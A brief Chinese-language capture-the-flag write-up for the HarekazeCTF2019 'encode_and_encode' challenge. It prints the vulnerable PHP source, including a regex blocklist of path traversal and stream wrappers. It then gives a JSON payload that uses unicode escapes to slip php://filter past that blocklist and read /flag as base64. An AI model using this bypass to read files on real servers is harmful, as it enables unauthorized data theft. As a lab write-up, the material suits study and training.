[HarekazeCTF2019]encode_and_encode
打开环境,得到源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
//过滤函数
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input'); #body获取post数据
$json = json_decode($body, true); #对body变量进行json解码
if (is_valid($body) && isset($json) && isset($json['page'])) {#判断body变量是否有效(能否通过过滤函数),json数据要有page
$page = $json['page'];
$content = file_get_contents($page); #从page中读出文件名,并读取文件
if (!$content || !is_valid($content)) {#检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);#如果查到content里有相关的ctf字样,则用censored替代
echo json_encode(['content' => $content]);#最后将json编码后的content输出
嗯。。。代码读懂后,就直接构造payload了:{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
抓包解码